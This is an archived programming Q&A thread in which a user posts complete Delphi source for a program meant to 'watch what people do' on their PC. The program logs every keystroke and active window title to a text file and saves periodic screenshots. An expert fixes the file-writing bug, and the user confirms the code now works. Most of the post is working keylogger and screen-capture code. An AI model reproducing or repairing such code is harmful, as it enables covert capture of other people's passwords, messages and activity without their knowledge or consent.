Solved

Please check my code

Posted on 2004-09-25
3
515 Views
Last Modified: 2010-04-05
Could somebody tell me whats wrong with this code? Im tryng to make an app to watch what people do in my pc but it gives me an error like this: "I/O error 103."

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, JPEG;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    Timer2: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
Calidad=20; {cambiar esto}
Dir='C:\';
var
  Form1: TForm1;
    Current_App: String;
implementation

{$R *.dfm}
var  F:Textfile;




procedure TForm1.Timer1Timer(Sender: TObject);
var x: byte;
handler:THandle;
caption: Array[0..80] of Char;
begin
for x := 8 To 255 do
begin
if GetAsyncKeyState(x) = -32767 then
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App) and (caption<>'') then
begin
Current_App:=caption;
memo1.Text:=memo1.text+#13#10+'['+caption+']-['+TimeToStr(Now)+']-['+DateToStr(Now)+']'+#13#10;
end;
case x of
8  : memo1.text:=memo1.text+'[Backspace]';
9  : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10;
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' ';
46 : memo1.text := memo1.text+'[Del]';
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'='
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'·'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'/'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'9';
 65..90 :
            begin
            if Odd(GetKeyState(VK_CAPITAL)) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(x))
                else
                   memo1.text:=memo1.text+UpperCase(Chr(x))
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(x))
                else
                    memo1.text:=memo1.text+LowerCase(Chr(x));
            end;





        96..105 : memo1.text:=memo1.text + inttostr(x-96);
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'+';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'`';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'+';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+';'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'ç'
             else memo1.text:=memo1.text+'Ç';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'Ñ'
             else memo1.text:=memo1.text+'ñ';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
             else memo1.text:=memo1.text+'219';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+''
             else memo1.text:=memo1.text+'º';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¿'
             else memo1.text:=memo1.text+'¡';
222: If GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¨'
            else memo1.text:=memo1.text+'´'

             end;



end;
end;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
const
ScreenDir=Dir+'Capturas\Capturas de Pantalla';
KeylogDir=Dir+'Capturas\Capturas de Teclado';
var
DeskHWnd : Hwnd;
dc: HDC;
ScreenWidth, ScreenHeight: Integer;
TheBmp : TBitmap;
jpeg1 :Tjpegimage;

Directory_Name,File_Name:String;
begin



        Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}


        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);




DeskHWnd := GetDeskTopWindow;
dc := GetDC(DeskHWnd);
ScreenWidth := GetDeviceCaps(dc,HORZRES);
ScreenHeight := GetDeviceCaps(dc,VERTRES);
TheBmp := TBitmap.Create;
TheBmp.Width := ScreenWidth;
TheBmp.Height := ScreenHeight;
BitBlt(TheBmp.Canvas.Handle, 0,0,ScreenWidth,ScreenHeight,dc, 0,0,SRCCOPY);
Image1.Picture.Bitmap := TheBmp;
Application.ProcessMessages;
Jpeg1:=TjpegImage.Create;
jpeg1.Assign(Image1.Picture.Bitmap);
jpeg1.Smoothing:=true;

jpeg1.CompressionQuality:=Calidad;
Jpeg1.compress;

Directory_Name := FormatDateTime('dd-MM-yyyy', Now);
File_Name := FormatDateTime('HH.mm.ss AM/PM', Now);

system.MkDir(ScreenDir+'\'+Directory_Name);
Jpeg1.SaveToFile(ScreenDir+'\'+Directory_Name+'\'+File_Name+'.JPG');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
system.MkDir(Dir+'\Capturas');
system.MkDir(Dir+'\Capturas\Capturas de Teclado');
system.MkDir(Dir+'\Capturas\Capturas de Pantalla');
end;

end.



All this code is been copied from a bigger project I had in order to make it easier to notice the error but it still gives me trouble.
0
Comment
Question by:manganzon
3 Comments
 
LVL 17

Expert Comment

by:mokule
ID: 12152030
Hi,
       Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}
        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);

If File not exists You close it and then try to write to it
0
 
LVL 17

Accepted Solution

by:
Wim ten Brink earned 250 total points
ID: 12152545
@mokule, how suprising it might seem, that code might actually work. :-) What he does if the file doesn't exist is creating it, closing it and then appending to it. Since it exists, it should actually work! (But it's a dirty trick.) It would be better to just use:

  Assignfile(F, Name);
  if FileExists(Name) then begin
    Append(F);
  end
  else begin
    Rewrite(F);
  end;
  Write(F,Memo1.Text);
  Memo1.Clear;
  Closefile(F);

But do you know why you get the error? A wrong filename has been provided! I think the folder "C:\Capturas\Capturas de Teclado\" does not exist or could not be created... The problem might also be related to the usage of the {$I+} directive. With IO checks turned off, IO errors could be checked by checking the value of IOResult. This should be 0 after Rewrite(), Append() and Write()... If turned on, IO errors will raise exceptions. And since the project might have been compiled with IO checking set to false in the project options, it will just start raising exceptions AFTER it is turned on. Which is the WriteLn statement.
0
 

Author Comment

by:manganzon
ID: 12153572
Thank you, i really needed this, now it works fine. :)
0

Featured Post

Threat Intelligence Starter Resources

Integrating threat intelligence can be challenging, and not all companies are ready. These resources can help you build awareness and prepare for defense.

Join & Write a Comment

Objective: - This article will help user in how to convert their numeric value become words. How to use 1. You can copy this code in your Unit as function 2. than you can perform your function by type this code The Code   (CODE) The Im…
Creating an auto free TStringList The TStringList is a basic and frequently used object in Delphi. On many occasions, you may want to create a temporary list, process some items in the list and be done with the list. In such cases, you have to…
This video gives you a great overview about bandwidth monitoring with SNMP and WMI with our network monitoring solution PRTG Network Monitor (https://www.paessler.com/prtg). If you're looking for how to monitor bandwidth using netflow or packet s…
This tutorial demonstrates a quick way of adding group price to multiple Magento products.

708 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

14 Experts available now in Live!

Get 1:1 Help Now